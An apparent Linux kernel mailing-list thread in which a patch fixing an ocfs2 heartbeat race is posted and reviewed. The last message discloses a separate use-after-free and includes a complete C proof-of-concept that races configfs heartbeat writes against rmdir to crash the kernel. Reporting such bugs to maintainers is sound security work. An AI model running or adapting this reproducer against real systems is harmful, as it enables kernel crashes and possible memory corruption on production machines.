* [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
@ 2026-06-14 5:33 Cen Zhang
2026-06-16 6:33 ` Joseph Qi
2026-06-21 11:17 ` XIAO WU
0 siblings, 2 replies; 4+ messages in thread
From: Cen Zhang @ 2026-06-14 5:33 UTC (permalink / raw)
To: Mark Fasheh, Joel Becker, Joseph Qi
Cc: ocfs2-devel, linux-kernel, baijiaju1990, Cen Zhang
o2nm_node_local_store() can clear the current local node while a
heartbeat region is still active. That path stops listening and stores
O2NM_INVALID_NODE_NUM, but heartbeat threads keep calling
o2nm_this_node() from o2hb_do_disk_heartbeat() and shutdown.
Once that happens, o2hb_check_own_slot() and o2hb_prepare_block() can
use node 255 as a slot index, and o2nm_undepend_this_node() can BUG_ON()
when the thread exits. The same local=0 path also leaves cl_has_local
set, so later attempts to restore a real local node fail with -EBUSY.
Track the heartbeat start/run/stop window with a per-region active flag
protected by o2hb_live_lock. Set it before kthread_run() can let the
heartbeat thread re-read o2nm_this_node(), and clear it only after
startup cleanup or region teardown has stopped any created thread. Then
reject local=0 while any region remains active, and when the clear is
allowed drop cl_has_local together with cl_local_node so the
nodemanager state matches o2nm_node_group_drop_item().
The buggy scenario involves two paths, with each column showing the
order within that path:
configfs local attribute store heartbeat thread
1. Userspace writes 0 to the 1. o2hb_thread() keeps calling
current node's local attribute. o2hb_do_disk_heartbeat().
2. o2nm_node_local_store() 2. o2hb_check_own_slot() and
stops listening and stores o2hb_prepare_block() re-read
O2NM_INVALID_NODE_NUM. o2nm_this_node().
3. cl_has_local still stays set, 3. The thread uses node 255 as
so later o2nm_this_node() the local slot index or
reports node 255. shutdown node number.
4. A later local=1 write hits 4. Heartbeat can touch
-EBUSY. reg->hr_slots[255] or BUG_ON()
in o2nm_undepend_this_node().
Validation reproduced this kernel report:
KASAN slab-out-of-bounds in o2hb_do_disk_heartbeat+0x372/0xb30
RIP: 0010:memset+0xf/0x20
Read of size 8
Call trace:
dump_stack_lvl+0x66/0xa0
print_report+0xd0/0x630
o2hb_do_disk_heartbeat+0x372/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
srso_alias_return_thunk+0x5/0xfbef5
__virt_addr_valid+0x188/0x2f0
kasan_report+0xe4/0x120
o2hb_do_disk_heartbeat+0x5/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
o2hb_thread+0x14e/0x770
kthread_affine_node+0x139/0x180
lockdep_hardirqs_on_prepare+0xda/0x190
trace_hardirqs_on+0x18/0x130
kthread+0x19d/0x1e0
ret_from_fork+0x37a/0x4d0
__switch_to+0x2d5/0x6f0
ret_from_fork_asm+0x1a/0x30
Fixes: a7f6a5fb4bde ("[PATCH] OCFS2: The Second Oracle Cluster Filesystem")
Assisted-by: Codex:gpt-5.5
Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
---
fs/ocfs2/cluster/heartbeat.c | 55 +++++++++++++++++++++++++++++++---
fs/ocfs2/cluster/heartbeat.h | 1 +
fs/ocfs2/cluster/nodemanager.c | 13 ++++----
fs/ocfs2/cluster/nodemanager.h | 3 ++
4 files changed, 63 insertions(+), 9 deletions(-)
diff --git a/fs/ocfs2/cluster/heartbeat.c b/fs/ocfs2/cluster/heartbeat.c
index d12784aaaa4b..4c83f680017f 100644
--- a/fs/ocfs2/cluster/heartbeat.c
+++ b/fs/ocfs2/cluster/heartbeat.c
@@ -201,8 +201,9 @@ struct o2hb_region {
hr_item_dropped:1,
hr_node_deleted:1;
- /* protected by the hr_callback_sem */
+ /* Protected by o2hb_live_lock. */
struct task_struct *hr_task;
+ bool hr_heartbeat_active;
unsigned int hr_blocks;
unsigned long long hr_start_block;
@@ -1771,8 +1772,9 @@ static int o2hb_populate_slot_data(struct o2hb_region *reg)
}
/*
- * this is acting as commit; we set up all of hr_bdev_file and hr_task or
- * nothing
+ * This acts as commit. The active flag covers the start/run/stop window and
+ * startup publishes it before rechecking the local node, so local=0 either
+ * sees heartbeat in progress or forces this path to fail before a thread runs.
*/
static ssize_t o2hb_region_dev_store(struct config_item *item,
const char *page,
@@ -1874,6 +1876,17 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
/* unsteady_iterations is triple the steady_iterations */
atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
+ o2nm_lock_subsystem();
+ spin_lock(&o2hb_live_lock);
+ reg->hr_heartbeat_active = true;
+ spin_unlock(&o2hb_live_lock);
+ if (o2nm_this_node() == O2NM_MAX_NODES) {
+ o2nm_unlock_subsystem();
+ ret = -EINVAL;
+ goto out;
+ }
+ o2nm_unlock_subsystem();
+
hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
reg->hr_item.ci_name);
if (IS_ERR(hb_task)) {
@@ -1925,10 +1938,16 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
spin_lock(&o2hb_live_lock);
hb_task = reg->hr_task;
reg->hr_task = NULL;
+ if (!hb_task)
+ reg->hr_heartbeat_active = false;
spin_unlock(&o2hb_live_lock);
- if (hb_task)
+ if (hb_task) {
kthread_stop(hb_task);
+ spin_lock(&o2hb_live_lock);
+ reg->hr_heartbeat_active = false;
+ spin_unlock(&o2hb_live_lock);
+ }
o2hb_unmap_slot_data(reg);
@@ -2109,6 +2128,11 @@ static void o2hb_heartbeat_group_drop_item(struct config_group *group,
if (hb_task)
kthread_stop(hb_task);
+ spin_lock(&o2hb_live_lock);
+ if (hb_task)
+ reg->hr_heartbeat_active = false;
+ spin_unlock(&o2hb_live_lock);
+
if (o2hb_global_heartbeat_active()) {
spin_lock(&o2hb_live_lock);
clear_bit(reg->hr_region_num, o2hb_region_bitmap);
@@ -2571,6 +2595,29 @@ int o2hb_get_all_regions(char *region_uuids, u8 max_regions)
}
EXPORT_SYMBOL_GPL(o2hb_get_all_regions);
+/*
+ * The active flag covers the entire start/run/stop window in which a region
+ * may still have a heartbeat thread that can re-read o2nm_this_node().
+ */
+int o2hb_heartbeat_active(void)
+{
+ struct o2hb_region *reg;
+ int active = 0;
+
+ spin_lock(&o2hb_live_lock);
+
+ list_for_each_entry(reg, &o2hb_all_regions, hr_all_item) {
+ if (reg->hr_heartbeat_active) {
+ active = 1;
+ break;
+ }
+ }
+
+ spin_unlock(&o2hb_live_lock);
+
+ return active;
+}
+
int o2hb_global_heartbeat_active(void)
{
return (o2hb_heartbeat_mode == O2HB_HEARTBEAT_GLOBAL);
diff --git a/fs/ocfs2/cluster/heartbeat.h b/fs/ocfs2/cluster/heartbeat.h
index 8ef8c1b9eeb7..7040dc4b529d 100644
--- a/fs/ocfs2/cluster/heartbeat.h
+++ b/fs/ocfs2/cluster/heartbeat.h
@@ -66,6 +66,7 @@ int o2hb_check_node_heartbeating_no_sem(u8 node_num);
int o2hb_check_node_heartbeating_from_callback(u8 node_num);
void o2hb_stop_all_regions(void);
int o2hb_get_all_regions(char *region_uuids, u8 numregions);
+int o2hb_heartbeat_active(void);
int o2hb_global_heartbeat_active(void);
#endif /* O2CLUSTER_HEARTBEAT_H */
diff --git a/fs/ocfs2/cluster/nodemanager.c b/fs/ocfs2/cluster/nodemanager.c
index 402563154550..ffe9cb37d9e5 100644
--- a/fs/ocfs2/cluster/nodemanager.c
+++ b/fs/ocfs2/cluster/nodemanager.c
@@ -25,9 +25,6 @@ static const char *o2nm_fence_method_desc[O2NM_FENCE_METHODS] = {
"panic", /* O2NM_FENCE_PANIC */
};
-static inline void o2nm_lock_subsystem(void);
-static inline void o2nm_unlock_subsystem(void);
-
struct o2nm_node *o2nm_get_node_by_num(u8 node_num)
{
struct o2nm_node *node = NULL;
@@ -366,7 +363,13 @@ static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
if (!tmp && cluster->cl_has_local &&
cluster->cl_local_node == node->nd_num) {
+ if (o2hb_heartbeat_active()) {
+ ret = -EBUSY;
+ goto out;
+ }
+
o2net_stop_listening(node);
+ cluster->cl_has_local = 0;
cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
}
@@ -762,12 +765,12 @@ static struct o2nm_cluster_group o2nm_cluster_group = {
},
};
-static inline void o2nm_lock_subsystem(void)
+void o2nm_lock_subsystem(void)
{
mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
}
-static inline void o2nm_unlock_subsystem(void)
+void o2nm_unlock_subsystem(void)
{
mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
}
diff --git a/fs/ocfs2/cluster/nodemanager.h b/fs/ocfs2/cluster/nodemanager.h
index 3490e77a952d..96c0abb1f127 100644
--- a/fs/ocfs2/cluster/nodemanager.h
+++ b/fs/ocfs2/cluster/nodemanager.h
@@ -63,6 +63,9 @@ struct o2nm_node *o2nm_get_node_by_ip(__be32 addr);
void o2nm_node_get(struct o2nm_node *node);
void o2nm_node_put(struct o2nm_node *node);
+void o2nm_lock_subsystem(void);
+void o2nm_unlock_subsystem(void);
+
int o2nm_depend_item(struct config_item *item);
void o2nm_undepend_item(struct config_item *item);
int o2nm_depend_this_node(void);
--
2.43.0
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
2026-06-14 5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
@ 2026-06-16 6:33 ` Joseph Qi
2026-06-16 7:45 ` Cen Zhang
2026-06-21 11:17 ` XIAO WU
1 sibling, 1 reply; 4+ messages in thread
From: Joseph Qi @ 2026-06-16 6:33 UTC (permalink / raw)
To: Cen Zhang
Cc: ocfs2-devel, linux-kernel, baijiaju1990, Mark Fasheh,
Joel Becker, Heming Zhao
On 6/14/26 1:33 PM, Cen Zhang wrote:
> o2nm_node_local_store() can clear the current local node while a
> heartbeat region is still active. That path stops listening and stores
> O2NM_INVALID_NODE_NUM, but heartbeat threads keep calling
> o2nm_this_node() from o2hb_do_disk_heartbeat() and shutdown.
>
Seems a simple fix for this issue is also clearing cluster->cl_has_local
in the same path?
Thanks,
Joseph
> Once that happens, o2hb_check_own_slot() and o2hb_prepare_block() can
> use node 255 as a slot index, and o2nm_undepend_this_node() can BUG_ON()
> when the thread exits. The same local=0 path also leaves cl_has_local
> set, so later attempts to restore a real local node fail with -EBUSY.
>
> Track the heartbeat start/run/stop window with a per-region active flag
> protected by o2hb_live_lock. Set it before kthread_run() can let the
> heartbeat thread re-read o2nm_this_node(), and clear it only after
> startup cleanup or region teardown has stopped any created thread. Then
> reject local=0 while any region remains active, and when the clear is
> allowed drop cl_has_local together with cl_local_node so the
> nodemanager state matches o2nm_node_group_drop_item().
>
> The buggy scenario involves two paths, with each column showing the
> order within that path:
>
> configfs local attribute store heartbeat thread
> 1. Userspace writes 0 to the 1. o2hb_thread() keeps calling
> current node's local attribute. o2hb_do_disk_heartbeat().
> 2. o2nm_node_local_store() 2. o2hb_check_own_slot() and
> stops listening and stores o2hb_prepare_block() re-read
> O2NM_INVALID_NODE_NUM. o2nm_this_node().
> 3. cl_has_local still stays set, 3. The thread uses node 255 as
> so later o2nm_this_node() the local slot index or
> reports node 255. shutdown node number.
> 4. A later local=1 write hits 4. Heartbeat can touch
> -EBUSY. reg->hr_slots[255] or BUG_ON()
> in o2nm_undepend_this_node().
>
> Validation reproduced this kernel report:
> KASAN slab-out-of-bounds in o2hb_do_disk_heartbeat+0x372/0xb30
> RIP: 0010:memset+0xf/0x20
> Read of size 8
> Call trace:
> dump_stack_lvl+0x66/0xa0
> print_report+0xd0/0x630
> o2hb_do_disk_heartbeat+0x372/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
> srso_alias_return_thunk+0x5/0xfbef5
> __virt_addr_valid+0x188/0x2f0
> kasan_report+0xe4/0x120
> o2hb_do_disk_heartbeat+0x5/0xb30 (fs/ocfs2/cluster/heartbeat.c:1079)
> o2hb_thread+0x14e/0x770
> kthread_affine_node+0x139/0x180
> lockdep_hardirqs_on_prepare+0xda/0x190
> trace_hardirqs_on+0x18/0x130
> kthread+0x19d/0x1e0
> ret_from_fork+0x37a/0x4d0
> __switch_to+0x2d5/0x6f0
> ret_from_fork_asm+0x1a/0x30
>
> Fixes: a7f6a5fb4bde ("[PATCH] OCFS2: The Second Oracle Cluster Filesystem")
> Assisted-by: Codex:gpt-5.5
> Signed-off-by: Cen Zhang <zzzccc427@gmail.com>
> ---
> fs/ocfs2/cluster/heartbeat.c | 55 +++++++++++++++++++++++++++++++---
> fs/ocfs2/cluster/heartbeat.h | 1 +
> fs/ocfs2/cluster/nodemanager.c | 13 ++++----
> fs/ocfs2/cluster/nodemanager.h | 3 ++
> 4 files changed, 63 insertions(+), 9 deletions(-)
>
> diff --git a/fs/ocfs2/cluster/heartbeat.c b/fs/ocfs2/cluster/heartbeat.c
> index d12784aaaa4b..4c83f680017f 100644
> --- a/fs/ocfs2/cluster/heartbeat.c
> +++ b/fs/ocfs2/cluster/heartbeat.c
> @@ -201,8 +201,9 @@ struct o2hb_region {
> hr_item_dropped:1,
> hr_node_deleted:1;
>
> - /* protected by the hr_callback_sem */
> + /* Protected by o2hb_live_lock. */
> struct task_struct *hr_task;
> + bool hr_heartbeat_active;
>
> unsigned int hr_blocks;
> unsigned long long hr_start_block;
> @@ -1771,8 +1772,9 @@ static int o2hb_populate_slot_data(struct o2hb_region *reg)
> }
>
> /*
> - * this is acting as commit; we set up all of hr_bdev_file and hr_task or
> - * nothing
> + * This acts as commit. The active flag covers the start/run/stop window and
> + * startup publishes it before rechecking the local node, so local=0 either
> + * sees heartbeat in progress or forces this path to fail before a thread runs.
> */
> static ssize_t o2hb_region_dev_store(struct config_item *item,
> const char *page,
> @@ -1874,6 +1876,17 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
> /* unsteady_iterations is triple the steady_iterations */
> atomic_set(®->hr_unsteady_iterations, (live_threshold * 3));
>
> + o2nm_lock_subsystem();
> + spin_lock(&o2hb_live_lock);
> + reg->hr_heartbeat_active = true;
> + spin_unlock(&o2hb_live_lock);
> + if (o2nm_this_node() == O2NM_MAX_NODES) {
> + o2nm_unlock_subsystem();
> + ret = -EINVAL;
> + goto out;
> + }
> + o2nm_unlock_subsystem();
> +
> hb_task = kthread_run(o2hb_thread, reg, "o2hb-%s",
> reg->hr_item.ci_name);
> if (IS_ERR(hb_task)) {
> @@ -1925,10 +1938,16 @@ static ssize_t o2hb_region_dev_store(struct config_item *item,
> spin_lock(&o2hb_live_lock);
> hb_task = reg->hr_task;
> reg->hr_task = NULL;
> + if (!hb_task)
> + reg->hr_heartbeat_active = false;
> spin_unlock(&o2hb_live_lock);
>
> - if (hb_task)
> + if (hb_task) {
> kthread_stop(hb_task);
> + spin_lock(&o2hb_live_lock);
> + reg->hr_heartbeat_active = false;
> + spin_unlock(&o2hb_live_lock);
> + }
>
> o2hb_unmap_slot_data(reg);
>
> @@ -2109,6 +2128,11 @@ static void o2hb_heartbeat_group_drop_item(struct config_group *group,
> if (hb_task)
> kthread_stop(hb_task);
>
> + spin_lock(&o2hb_live_lock);
> + if (hb_task)
> + reg->hr_heartbeat_active = false;
> + spin_unlock(&o2hb_live_lock);
> +
> if (o2hb_global_heartbeat_active()) {
> spin_lock(&o2hb_live_lock);
> clear_bit(reg->hr_region_num, o2hb_region_bitmap);
> @@ -2571,6 +2595,29 @@ int o2hb_get_all_regions(char *region_uuids, u8 max_regions)
> }
> EXPORT_SYMBOL_GPL(o2hb_get_all_regions);
>
> +/*
> + * The active flag covers the entire start/run/stop window in which a region
> + * may still have a heartbeat thread that can re-read o2nm_this_node().
> + */
> +int o2hb_heartbeat_active(void)
> +{
> + struct o2hb_region *reg;
> + int active = 0;
> +
> + spin_lock(&o2hb_live_lock);
> +
> + list_for_each_entry(reg, &o2hb_all_regions, hr_all_item) {
> + if (reg->hr_heartbeat_active) {
> + active = 1;
> + break;
> + }
> + }
> +
> + spin_unlock(&o2hb_live_lock);
> +
> + return active;
> +}
> +
> int o2hb_global_heartbeat_active(void)
> {
> return (o2hb_heartbeat_mode == O2HB_HEARTBEAT_GLOBAL);
> diff --git a/fs/ocfs2/cluster/heartbeat.h b/fs/ocfs2/cluster/heartbeat.h
> index 8ef8c1b9eeb7..7040dc4b529d 100644
> --- a/fs/ocfs2/cluster/heartbeat.h
> +++ b/fs/ocfs2/cluster/heartbeat.h
> @@ -66,6 +66,7 @@ int o2hb_check_node_heartbeating_no_sem(u8 node_num);
> int o2hb_check_node_heartbeating_from_callback(u8 node_num);
> void o2hb_stop_all_regions(void);
> int o2hb_get_all_regions(char *region_uuids, u8 numregions);
> +int o2hb_heartbeat_active(void);
> int o2hb_global_heartbeat_active(void);
>
> #endif /* O2CLUSTER_HEARTBEAT_H */
> diff --git a/fs/ocfs2/cluster/nodemanager.c b/fs/ocfs2/cluster/nodemanager.c
> index 402563154550..ffe9cb37d9e5 100644
> --- a/fs/ocfs2/cluster/nodemanager.c
> +++ b/fs/ocfs2/cluster/nodemanager.c
> @@ -25,9 +25,6 @@ static const char *o2nm_fence_method_desc[O2NM_FENCE_METHODS] = {
> "panic", /* O2NM_FENCE_PANIC */
> };
>
> -static inline void o2nm_lock_subsystem(void);
> -static inline void o2nm_unlock_subsystem(void);
> -
> struct o2nm_node *o2nm_get_node_by_num(u8 node_num)
> {
> struct o2nm_node *node = NULL;
> @@ -366,7 +363,13 @@ static ssize_t o2nm_node_local_store(struct config_item *item, const char *page,
>
> if (!tmp && cluster->cl_has_local &&
> cluster->cl_local_node == node->nd_num) {
> + if (o2hb_heartbeat_active()) {
> + ret = -EBUSY;
> + goto out;
> + }
> +
> o2net_stop_listening(node);
> + cluster->cl_has_local = 0;
> cluster->cl_local_node = O2NM_INVALID_NODE_NUM;
> }
>
> @@ -762,12 +765,12 @@ static struct o2nm_cluster_group o2nm_cluster_group = {
> },
> };
>
> -static inline void o2nm_lock_subsystem(void)
> +void o2nm_lock_subsystem(void)
> {
> mutex_lock(&o2nm_cluster_group.cs_subsys.su_mutex);
> }
>
> -static inline void o2nm_unlock_subsystem(void)
> +void o2nm_unlock_subsystem(void)
> {
> mutex_unlock(&o2nm_cluster_group.cs_subsys.su_mutex);
> }
> diff --git a/fs/ocfs2/cluster/nodemanager.h b/fs/ocfs2/cluster/nodemanager.h
> index 3490e77a952d..96c0abb1f127 100644
> --- a/fs/ocfs2/cluster/nodemanager.h
> +++ b/fs/ocfs2/cluster/nodemanager.h
> @@ -63,6 +63,9 @@ struct o2nm_node *o2nm_get_node_by_ip(__be32 addr);
> void o2nm_node_get(struct o2nm_node *node);
> void o2nm_node_put(struct o2nm_node *node);
>
> +void o2nm_lock_subsystem(void);
> +void o2nm_unlock_subsystem(void);
> +
> int o2nm_depend_item(struct config_item *item);
> void o2nm_undepend_item(struct config_item *item);
> int o2nm_depend_this_node(void);
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
2026-06-16 6:33 ` Joseph Qi
@ 2026-06-16 7:45 ` Cen Zhang
0 siblings, 0 replies; 4+ messages in thread
From: Cen Zhang @ 2026-06-16 7:45 UTC (permalink / raw)
To: Joseph Qi
Cc: ocfs2-devel, linux-kernel, baijiaju1990, Mark Fasheh,
Joel Becker, Heming Zhao
Hi Joseph,
> Seems a simple fix for this issue is also clearing cluster->cl_has_local
> in the same path?
Thanks for your review.
Yes, clearing cluster->cl_has_local in that path is needed. I updated the
patch to do that.
While checking this path again, I found that clearing cl_has_local alone
does not cover the running heartbeat thread case. After local=0,
o2nm_this_node() still returns O2NM_MAX_NODES, which has the same value as
O2NM_INVALID_NODE_NUM, and the heartbeat thread can still use that value
for hr_slots[] or for the final node undepend path.
So in v2 I kept the local node number stable in the heartbeat region once
the region starts, used that stored node for heartbeat I/O and teardown,
and also cleared cl_has_local in o2nm_node_local_store() as you suggested.
I will send v2 shortly.
Best regards,
Cen Zhang
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs
2026-06-14 5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
2026-06-16 6:33 ` Joseph Qi
@ 2026-06-21 11:17 ` XIAO WU
1 sibling, 0 replies; 4+ messages in thread
From: XIAO WU @ 2026-06-21 11:17 UTC (permalink / raw)
To: Cen Zhang, Mark Fasheh, Joel Becker, Joseph Qi
Cc: ocfs2-devel, linux-kernel, baijiaju1990
Hi Cen,
I saw the discussion with Joseph about the v2 fixes. Before v2 goes out,
I wanted to flag a pre-existing race condition that a Sashiko AI code
review [1] found in the same function.
The `o2hb_region_dev_store()` error path can race with
`o2hb_heartbeat_group_drop_item()` (triggered by rmdir) because configfs
allows concurrent store() and drop_item(). If drop_item() tears down the
region while dev_store is in its error path, the subsequent
`fput(reg->hr_bdev_file)` hits a use-after-free.
I was able to reproduce this in QEMU with KASAN by forking multiple
children to race dev_store writes against rmdir on the same heartbeat
region.
On Sun, Jun 14, 2026 at 01:33:45PM +0800, Cen Zhang wrote:
> Track the heartbeat start/run/stop window with a per-region active
> flag protected by o2hb_live_lock. This prevents o2nm_node_local_store()
> from clearing the local node while heartbeat threads are still active.
The `hr_heartbeat_active` flag protects against the node clear race,
but the error path in `dev_store` can still race with `drop_item()`
via configfs concurrency:
```c
// dev_store() error path after configfs has accepted the write:
// at this point, drop_item() can run in parallel via rmdir
fput(reg->hr_bdev_file); // UAF if drop_item() already freed it
```
[KASAN report — kernel 7.1.0-rc7-next-20260612, CONFIG_KASAN=y]
BUG: KASAN: null-ptr-deref in fput+0x33/0x100
BUG: kernel NULL pointer dereference, address: 0000000000000158
Oops: Oops: 0002 [#1] SMP KASAN NOPTI
Call Trace:
<TASK>
fput+0x33/0x100
o2hb_region_dev_store+0x1327/0x1da0
configfs_write_iter+0x.../...
vfs_write+0x.../...
ksys_write+0x.../...
do_syscall_64+0xcd/0xf80
entry_SYSCALL_64_after_hwframe+0x77/0x7f
The crash is `fput()` on a region that was already freed by a concurrent
`drop_item()`. The `dev_store` error path calls `fput(reg->hr_bdev_file)`,
but `drop_item()` already tore down the region via rmdir — the NULL deref
is the symptom of the use-after-free.
Full PoC source (poc.c):
---8<----------------------------------------------------------------
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <string.h>
#include <stdlib.h>
#define CFG "/sys/kernel/config/cluster/poccluster"
int main(void)
{
char p[256], loopdev[64] = "/dev/loop0";
printf("[*] OCFS2 heartbeat PoC\n");
system("dd if=/dev/zero of=/tmp/hb.img bs=1M count=30 2>/dev/null");
system("losetup -f /tmp/hb.img 2>/dev/null");
FILE *fp = popen("losetup -j /tmp/hb.img -O NAME "
"--noheadings 2>/dev/null", "r");
if (fp && fgets(loopdev, sizeof(loopdev), fp))
loopdev[strcspn(loopdev, "\n")] = 0;
if (fp) pclose(fp);
snprintf(p, sizeof(p), CFG); mkdir(p, 0755);
snprintf(p, sizeof(p), CFG "/node/mynode"); mkdir(p, 0755);
int fd = open(CFG "/node/mynode/ipv4_address", O_WRONLY);
if (fd >= 0) { write(fd, "127.0.0.1", 9); close(fd); }
fd = open(CFG "/node/mynode/ipv4_port", O_WRONLY);
if (fd >= 0) { write(fd, "7777", 4); close(fd); }
fd = open(CFG "/node/mynode/num", O_WRONLY);
if (fd >= 0) { write(fd, "0", 1); close(fd); }
fd = open(CFG "/node/mynode/local", O_WRONLY);
if (fd >= 0) { write(fd, "1", 1); close(fd); }
for (int i = 0; i < 100; i++) {
snprintf(p, sizeof(p), CFG "/heartbeat/reg");
if (mkdir(p, 0755) < 0) { rmdir(p); usleep(1000); continue; }
fd = open(CFG "/heartbeat/reg/block_bytes", O_WRONLY);
if (fd >= 0) { write(fd, "512", 3); close(fd); }
fd = open(CFG "/heartbeat/reg/start_block", O_WRONLY);
if (fd >= 0) { write(fd, "1", 1); close(fd); }
fd = open(CFG "/heartbeat/reg/blocks", O_WRONLY);
if (fd >= 0) { write(fd, "4", 1); close(fd); }
int loop_fd = open(loopdev, O_RDWR);
if (loop_fd < 0) { usleep(1000); continue; }
pid_t pids[7];
for (int j = 0; j < 7; j++) {
pids[j] = fork();
if (pids[j] == 0) {
if (j < 4) {
/* dev_store writers */
usleep(j * 20);
char fdstr[16];
snprintf(fdstr, sizeof(fdstr), "%d", loop_fd);
snprintf(p, sizeof(p), CFG "/heartbeat/reg/dev");
int dev_fd = open(p, O_WRONLY);
if (dev_fd >= 0) {
write(dev_fd, fdstr, strlen(fdstr));
close(dev_fd);
}
} else {
/* rmdir — triggers drop_item() */
usleep(j * 30);
snprintf(p, sizeof(p), CFG "/heartbeat/reg");
rmdir(p);
}
_exit(0);
}
}
close(loop_fd);
for (int j = 0; j < 7; j++) { int st; waitpid(pids[j], &st, 0); }
snprintf(p, sizeof(p), CFG "/heartbeat/reg"); rmdir(p);
}
printf("[*] Done. Check dmesg.\n");
return 0;
}
---8<----------------------------------------------------------------
Compile: gcc -o poc poc.c
[1]
https://sashiko.dev/#/patchset/20260614053345.64053-1-zzzccc427%40gmail.com
(Sashiko AI code review — "Use-After-Free", Severity: Critical)
Thanks,
XIAO
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-06-21 11:17 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-06-14 5:33 [PATCH] ocfs2/cluster: reject local node clears while heartbeat runs Cen Zhang
2026-06-16 6:33 ` Joseph Qi
2026-06-16 7:45 ` Cen Zhang
2026-06-21 11:17 ` XIAO WU
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®